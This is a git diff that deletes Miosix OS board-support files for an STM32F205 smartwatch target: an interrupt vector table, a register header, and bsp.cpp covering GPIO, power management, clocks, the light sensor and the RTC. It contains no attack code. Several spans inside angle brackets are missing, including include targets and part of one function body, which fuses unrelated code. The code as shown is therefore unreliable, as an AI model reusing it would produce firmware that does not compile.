__attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 0ce786ce2..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F205xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/bsp.cpp deleted file mode 100644 index 2bc62a7fd..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,733 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "interfaces/os_timer.h" -#include "config/miosix_settings.h" -#include - -using namespace std; - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Disable all interrupts that the bootloader - NVIC->ICER[0]=0xffffffff; - NVIC->ICER[1]=0xffffffff; - NVIC->ICER[2]=0xffffffff; - NVIC->ICER[3]=0xffffffff; - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN - | RCC_AHB1ENR_GPIOBEN - | RCC_AHB1ENR_GPIOCEN; - RCC_SYNC(); - using namespace oled; - OLED_nSS_Pin::mode(Mode::OUTPUT); - OLED_nSS_Pin::high(); - OLED_nSS_Pin::speed(Speed::_50MHz); //Without changing the default speed - OLED_SCK_Pin::mode(Mode::ALTERNATE); //OLED does not work! - OLED_SCK_Pin::alternateFunction(5); - OLED_SCK_Pin::speed(Speed::_50MHz); - OLED_MOSI_Pin::mode(Mode::ALTERNATE); - OLED_MOSI_Pin::alternateFunction(5); - OLED_MOSI_Pin::speed(Speed::_50MHz); - OLED_A0_Pin::mode(Mode::OUTPUT); - OLED_A0_Pin::low(); - OLED_A0_Pin::speed(Speed::_50MHz); - OLED_Reset_Pin::mode(Mode::OUTPUT); - OLED_Reset_Pin::low(); - OLED_Reset_Pin::speed(Speed::_50MHz); - OLED_V_ENABLE_Pin::mode(Mode::OUTPUT); - OLED_V_ENABLE_Pin::low(); - OLED_V_ENABLE_Pin::speed(Speed::_50MHz); - - using namespace touch; - Touch_Reset_Pin::mode(Mode::OUTPUT); - Touch_Reset_Pin::low(); - Touch_Reset_Pin::speed(Speed::_50MHz); - TOUCH_WKUP_INT_Pin::mode(Mode::INPUT); - - using namespace power; - BATT_V_ON_Pin::mode(Mode::OUTPUT); - BATT_V_ON_Pin::low(); - BATT_V_ON_Pin::speed(Speed::_50MHz); - BAT_V_Pin::mode(Mode::INPUT_ANALOG); - ENABLE_LIGHT_SENSOR_Pin::mode(Mode::OUTPUT); - ENABLE_LIGHT_SENSOR_Pin::low(); - ENABLE_LIGHT_SENSOR_Pin::speed(Speed::_50MHz); - LIGHT_SENSOR_ANALOG_OUT_Pin::mode(Mode::INPUT_ANALOG); - ENABLE_2V8_Pin::mode(Mode::OUTPUT); - ENABLE_2V8_Pin::low(); - ENABLE_2V8_Pin::speed(Speed::_50MHz); - HoldPower_Pin::mode(Mode::OPEN_DRAIN); - HoldPower_Pin::high(); - HoldPower_Pin::speed(Speed::_50MHz); - - ACCELEROMETER_INT_Pin::mode(Mode::INPUT_PULL_DOWN); - - using namespace i2c; - I2C_SCL_Pin::speed(Speed::_50MHz); - I2C_SDA_Pin::speed(Speed::_50MHz); - - BUZER_PWM_Pin::mode(Mode::OUTPUT); - BUZER_PWM_Pin::low(); - BUZER_PWM_Pin::speed(Speed::_50MHz); - - POWER_BTN_PRESS_Pin::mode(Mode::INPUT); - - using namespace usb; - USB5V_Detected_Pin::mode(Mode::INPUT_PULL_DOWN); - USB_DM_Pin::mode(Mode::INPUT); - USB_DP_Pin::mode(Mode::INPUT); - - using namespace bluetooth; - Reset_BT_Pin::mode(Mode::OPEN_DRAIN); - Reset_BT_Pin::low(); - Reset_BT_Pin::speed(Speed::_50MHz); - BT_CLK_REQ_Pin::mode(Mode::INPUT); - HOST_WAKE_UP_Pin::mode(Mode::INPUT); - Enable_1V8_BT_Power_Pin::mode(Mode::OPEN_DRAIN); - Enable_1V8_BT_Power_Pin::high(); - Enable_1V8_BT_Power_Pin::speed(Speed::_50MHz); - BT_nSS_Pin::mode(Mode::OUTPUT); - BT_nSS_Pin::low(); - BT_nSS_Pin::speed(Speed::_50MHz); - BT_SCK_Pin::mode(Mode::OUTPUT); - BT_SCK_Pin::low(); - BT_SCK_Pin::speed(Speed::_50MHz); - BT_MISO_Pin::mode(Mode::INPUT_PULL_DOWN); - BT_MOSI_Pin::mode(Mode::OUTPUT); - BT_MOSI_Pin::low(); - BT_MOSI_Pin::speed(Speed::_50MHz); - - using namespace unknown; - WKUP_Pin::mode(Mode::INPUT); - MCO1_Pin::mode(Mode::ALTERNATE); - MCO1_Pin::alternateFunction(0); - MCO1_Pin::speed(Speed::_100MHz); - Connect_USB_Pin::mode(Mode::OPEN_DRAIN); - Connect_USB_Pin::low(); - Connect_USB_Pin::speed(Speed::_50MHz); - POWER_3V3_ON_1V8_OFF_Pin::mode(Mode::OUTPUT); - POWER_3V3_ON_1V8_OFF_Pin::low(); - POWER_3V3_ON_1V8_OFF_Pin::speed(Speed::_50MHz); - SPI2_nSS_Pin::mode(Mode::OUTPUT); - SPI2_nSS_Pin::high(); - SPI2_nSS_Pin::speed(Speed::_50MHz); - SPI2_SCK_Pin::mode(Mode::OUTPUT); - SPI2_SCK_Pin::low(); - SPI2_SCK_Pin::speed(Speed::_50MHz); - SPI2_MISO_Pin::mode(Mode::INPUT_PULL_DOWN); - SPI2_MOSI_Pin::mode(Mode::OUTPUT); - SPI2_MOSI_Pin::low(); - SPI2_MOSI_Pin::speed(Speed::_50MHz); - - // Taken from underverk's SmartWatch_Toolchain/src/system.c: - // Prevents hard-faults when booting from USB - delayMs(50); - - USB_DP_Pin::mode(Mode::INPUT_PULL_UP); //Never leave GPIOs floating - USB_DM_Pin::mode(Mode::INPUT_PULL_DOWN); -} - -void bspInit2() -{ - PowerManagement::instance(); //This initializes the PMU - BUZER_PWM_Pin::high(); - Thread::sleep(200); - BUZER_PWM_Pin::low(); - //Wait for user to release the button - while(POWER_BTN_PRESS_Pin::value()) Thread::sleep(20); -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - // Taken from underverk's SmartWatch_Toolchain/src/Arduino/Arduino.cpp - disableInterrupts(); - BUZER_PWM_Pin::high(); - delayMs(200); - BUZER_PWM_Pin::low(); - while(POWER_BTN_PRESS_Pin::value()) ; - //This is likely wired to the PMU. If the USB cable is not connected, this - //cuts off the power to the microcontroller. But if USB is connected, this - //does nothing. In this case we can only spin waiting for the user to turn - //the device on again - power::HoldPower_Pin::low(); - delayMs(500); - while(POWER_BTN_PRESS_Pin::value()==0) ; - reboot(); -} - -void reboot() -{ - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -// -// Other board specific stuff -// - -FastMutex& i2cMutex() -{ - static FastMutex mutex; - return mutex; -} - -bool i2cWriteReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, - unsigned char data) -{ - const unsigned char buffer[]={reg,data}; - return i2c->send(dev,buffer,sizeof(buffer)); -} - -bool i2cReadReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, - unsigned char& data) -{ - if(i2c->send(dev,®,1)==false) return false; - unsigned char temp; - if(i2c->recv(dev,&temp,1)==false) return false; - data=temp; - return true; -} - -void errorMarker(int x) -{ - Thread::sleep(400); - for(int i=0;i l(i2cMutex()); - unsigned char chgstatus; - //During testing the i2c command never failed. If it does, we lie and say - //we're not charging - if(i2cReadReg(i2c,PMU_I2C_ADDRESS,CHGSTATUS,chgstatus)==false) return false; - return (chgstatus & CH_ACTIVE_MSK)!=0; -} - -int PowerManagement::getBatteryStatus() -{ - const int battCharged=4000; //4.0V - const int battDead=3000; //3V - return max(0,min(100,(getBatteryVoltage()-battDead)*100/(battCharged-battDead))); -} - -int PowerManagement::getBatteryVoltage() -{ - Lock l(powerManagementMutex); - power::BATT_V_ON_Pin::high(); //Enable battry measure circuitry - ADC1->CR2=ADC_CR2_ADON; //Turn ADC ON - Thread::sleep(5); //Wait for voltage to stabilize - ADC1->CR2 |= ADC_CR2_SWSTART; //Start conversion - while((ADC1->SR & ADC_SR_EOC)==0) ; //Wait for conversion - int result=ADC1->DR; //Read result - ADC1->CR2=0; //Turn ADC OFF - power::BATT_V_ON_Pin::low(); //Disable battery measurement circuitry - return result*4440/4095; -} - -void PowerManagement::setCoreFrequency(CoreFrequency cf) -{ - if(cf==coreFreq) return; - - Lock l(powerManagementMutex); - //We need to reconfigure I2C for the new frequency - Lock l2(i2cMutex()); - - { - FastInterruptDisableLock dLock; - CoreFrequency oldCoreFreq=coreFreq; - coreFreq=cf; //Need to change this *before* setting prescalers/core freq - if(coreFreq>oldCoreFreq) - { - //We're increasing the frequency, so change prescalers first - IRQsetPrescalers(); - IRQsetCoreFreq(); - } else { - //We're decreasing the frequency, so change frequency first - IRQsetCoreFreq(); - IRQsetPrescalers(); - } - - //Changing frequency requires to change many things that depend on - //said frequency: - - //Miosix's os timer - SystemCoreClockUpdate(); - internal::IRQosTimerInit(); - } - - //And also reconfigure the I2C (can't change this with IRQ disabled) - //Reinitialize after the frequency change - delete i2c; - i2c=new I2C1Master(i2c::I2C_SDA_Pin::getPin(),i2c::I2C_SCL_Pin::getPin(),100); -} - -void PowerManagement::goDeepSleep(int ms) -{ - ms=min(30000,ms); - /* - * Going in deep sleep would interfere with USB communication. Also, - * there's no need for such an aggressive power optimization while we are - * connected to USB. - */ - if(isUsbConnected()) - { - if(wakeOnButton) - { - bool oldState=POWER_BTN_PRESS_Pin::value(); - for(int i=0;i l(powerManagementMutex); - //We don't use I2C, but we don't want other thread to mess with - //the hardware while the microcontroller is going in deep sleep - Lock l2(i2cMutex()); - - { - FastInterruptDisableLock dLock; - //Enable event 22 (RTC WKUP) - if(wakeOnButton) - { - EXTI->EMR |= 1<<11; - EXTI->RTSR |= 1<<11; - } else { - EXTI->EMR &= ~(1<<11); - EXTI->RTSR &= ~(1<<11); - } - EXTI->EMR |= 1<<22; - EXTI->RTSR |= 1<<22; - - //These two values enable RTC write access - RTC->WPR=0xca; - RTC->WPR=0x53; - //Set wakeup time - RTC->CR &= ~RTC_CR_WUTE; - while((RTC->ISR & RTC_ISR_WUTWF)==0) ; - RTC->CR &= ~ RTC_CR_WUCKSEL; //timebase=32768/16=1024 - RTC->WUTR=ms*2048/1000; - RTC->CR |= RTC_CR_WUTE | RTC_CR_WUTIE; - - //Enter stop mode by issuing a WFE - PWR->CR |= PWR_CR_FPDS //Flash in power down while in stop - | PWR_CR_LPDS; //Regulator in low power mode while in stop - SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode - __WFE(); - SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; //Unselect stop mode - - //Disable wakeup timer - RTC->CR &= ~(RTC_CR_WUTE | RTC_CR_WUTIE); - RTC->ISR &= ~RTC_ISR_WUTF; //~because these flags are cleared writing 0 - - //After stop mode the microcontroller clock settings are lost, we are - //running with the HSI oscillator, so restart the PLL - IRQsetSystemClock(); - } -} - -PowerManagement::PowerManagement() : i2c(new I2C1Master(i2c::I2C_SDA_Pin::getPin(), - i2c::I2C_SCL_Pin::getPin(),100)), chargingAllowed(true), wakeOnButton(false), - coreFreq(FREQ_120MHz), powerManagementMutex(FastMutex::RECURSIVE) -{ - { - FastInterruptDisableLock dLock; - RCC->APB2ENR |= RCC_APB2ENR_ADC1EN | RCC_APB2ENR_SYSCFGEN; - RCC_SYNC(); - //Configure PB1 (POWER_BUTTON) as EXTI input - SYSCFG->EXTICR[2] &= ~(0xf<<12); - SYSCFG->EXTICR[2] |= 1<<12; - //Then disable SYSCFG access, as we don't need it anymore - RCC->APB2ENR &= ~RCC_APB2ENR_SYSCFGEN; - } - ADC1->CR1=0; - ADC1->CR2=0; //Keep the ADC OFF to save power - ADC1->SMPR2=ADC_SMPR2_SMP2_0; //Sample for 15 cycles channel 2 (battery) - ADC1->SQR1=0; //Do only one conversion - ADC1->SQR2=0; - ADC1->SQR3=2; //Convert channel 2 (battery voltage) - - unsigned char config0=VSYS_4_4V - | ACIC_100mA_DPPM_ENABLE - | TH_LOOP - | DYN_TMR - | TERM_EN - | CH_EN; - unsigned char config1=I_TERM_10 - | ISET_100 - | I_PRE_10; - unsigned char config2=SFTY_TMR_5h - | PRE_TMR_30m - | NTC_10k - | V_DPPM_4_3_V - | VBAT_COMP_ENABLE; - unsigned char defdcdc=DCDC_DISCH - | DCDC1_DEFAULT; - Lock l(i2cMutex()); - bool error=false; - if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,CHGCONFIG0,config0)==false) error=true; - if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,CHGCONFIG1,config1)==false) error=true; - if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,CHGCONFIG2,config2)==false) error=true; - if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,DEFDCDC,defdcdc)==false) error=true; - if(error) errorMarker(10); //Should never happen - Rtc::instance(); //Sleep stuff depends on RTC, so it must be initialized -} - -void PowerManagement::IRQsetSystemClock() -{ - //Turn on HSE and wait for it to stabilize - RCC->CR |= RCC_CR_HSEON; - while((RCC->CR & RCC_CR_HSERDY)==0) ; - - //Configure PLL and turn it on - const int m=HSE_VALUE/1000000; - const int n=240; - const int p=2; - const int q=5; - RCC->PLLCFGR=m | (n<<6) | (((p/2)-1)<<16) | RCC_PLLCFGR_PLLSRC_HSE | (q<<24); - RCC->CR |= RCC_CR_PLLON; - while((RCC->CR & RCC_CR_PLLRDY)==0) ; - - IRQsetPrescalers(); - IRQsetCoreFreq(); -} - -void PowerManagement::IRQsetPrescalers() -{ - RCC->CFGR &= ~(RCC_CFGR_HPRE | RCC_CFGR_PPRE1 | RCC_CFGR_PPRE2); - FLASH->ACR &= ~FLASH_ACR_LATENCY; - switch(coreFreq) - { - case FREQ_120MHz: - RCC->CFGR |= RCC_CFGR_HPRE_DIV1; //HCLK=SYSCLK - RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; //PCLK2=HCLK/2 - RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; //PCLK1=HCLK/4 - //Configure flash wait states - //Three wait states seem to make it unstable (crashing) when CPU load is high - FLASH->ACR=FLASH_ACR_PRFTEN - | FLASH_ACR_ICEN - | FLASH_ACR_DCEN - | FLASH_ACR_LATENCY_7WS; - break; - case FREQ_26MHz: - RCC->CFGR |= RCC_CFGR_HPRE_DIV1; //HCLK=SYSCLK - RCC->CFGR |= RCC_CFGR_PPRE2_DIV1; //PCLK2=HCLK - RCC->CFGR |= RCC_CFGR_PPRE1_DIV1; //PCLK1=HCLK - //Configure flash wait states - FLASH->ACR=FLASH_ACR_PRFTEN - | FLASH_ACR_ICEN - | FLASH_ACR_DCEN - | FLASH_ACR_LATENCY_1WS; - break; - } -} - -void PowerManagement::IRQsetCoreFreq() -{ - //Note that we don't turn OFF the PLL when going to 26MHz. It's true, it - //draws power, but the USB and RNG use it so for now we'll be on the safe - //side and keep in active - RCC->CFGR &= ~(RCC_CFGR_SW); - switch(coreFreq) - { - case FREQ_120MHz: - RCC->CFGR |= RCC_CFGR_SW_PLL; - while((RCC->CFGR & RCC_CFGR_SWS)!=RCC_CFGR_SWS_PLL) ; - break; - case FREQ_26MHz: - RCC->CFGR |= RCC_CFGR_SW_HSE; - while((RCC->CFGR & RCC_CFGR_SWS)!=RCC_CFGR_SWS_HSE) ; - break; - } -} - -// -// class LightSensor -// - -LightSensor& LightSensor::instance() -{ - static LightSensor singleton; - return singleton; -} - -int LightSensor::read() -{ - //Prevent frequency changes/entering deep sleep while reading light sensor - Lock l(PowerManagement::instance()); - - power::ENABLE_LIGHT_SENSOR_Pin::high(); //Enable battry measure circuitry - ADC2->CR2=ADC_CR2_ADON; //Turn ADC ON - Thread::sleep(5); //Wait for voltage to stabilize - ADC2->CR2 |= ADC_CR2_SWSTART; //Start conversion - while((ADC2->SR & ADC_SR_EOC)==0) ; //Wait for conversion - int result=ADC2->DR; //Read result - ADC2->CR2=0; //Turn ADC OFF - power::ENABLE_LIGHT_SENSOR_Pin::low(); //Disable battery measure circuitry - return result; -} - -LightSensor::LightSensor() -{ - { - FastInterruptDisableLock dLock; - RCC->APB2ENR |= RCC_APB2ENR_ADC2EN; - RCC_SYNC(); - } - ADC2->CR1=0; - ADC2->CR2=0; //Keep the ADC OFF to save power - ADC2->SMPR1=ADC_SMPR1_SMP14_0; //Sample for 15 cycles channel 14 - ADC2->SQR1=0; //Do only one conversion - ADC2->SQR2=0; - ADC2->SQR3=14; //Convert channel 14 (light sensor) -} - -// -// class Rtc -// - -Rtc& Rtc::instance() -{ - static Rtc singleton; - return singleton; -} - -struct tm Rtc::getTime() -{ - while((RTC->ISR & RTC_ISR_RSF)==0) ; //Wait for registers to sync - unsigned int t,d; - for(;;) - { - t=RTC->TR; - d=RTC->DR; - if(t==RTC->TR) break; - //Otherwise the registers were updated while reading and may not - //reflect the same time instant, so retry - } - struct tm result; - #define BCD(x,y,z) (((x)>>(y)) & 0xf) + (((x)>>((y)+4)) & (z))*10 - result.tm_sec=BCD(t,0,0x7); - result.tm_min=BCD(t,8,0x7); - result.tm_hour=BCD(t,16,0x7); - result.tm_mday=BCD(d,0,0x7); - result.tm_mon=BCD(d,8,0x1)-1; //-1 as tm_mon's range is 0..11 - //RTC has only two digits for year, and struct tm counts year from 1900 - result.tm_year=BCD(d,16,0xf)+100; - int wdu=(d>>13) & 0x7; - result.tm_wday= (wdu>6) ? 0 : wdu; //Sunday is 0 for struct tm, 7 for RTC - result.tm_yday=0; //TODO - result.tm_isdst=0; //TODO - #undef BCD - return result; -} - -void Rtc::setTime(tm time) -{ - time.tm_sec=min(59,time.tm_sec); - time.tm_min=min(59,time.tm_min); - time.tm_hour=min(23,time.tm_hour); - time.tm_mday=max(1,min(31,time.tm_mday)); - time.tm_mon=max(1,min(12,time.tm_mon)); - time.tm_wday=min(6,time.tm_wday); - int wdu= (time.tm_wday==0) ? 7 : time.tm_wday; //Sunday is 0 for struct tm, 7 for RTC - unsigned int t,d; - #define BCD(x,y,v) (x)|=(((v) % 10)<<(y) | ((v)/10)<<((y)+4)) - t=0; - BCD(t,0,time.tm_sec); - BCD(t,8,time.tm_min); - BCD(t,16,time.tm_hour); - d=0; - 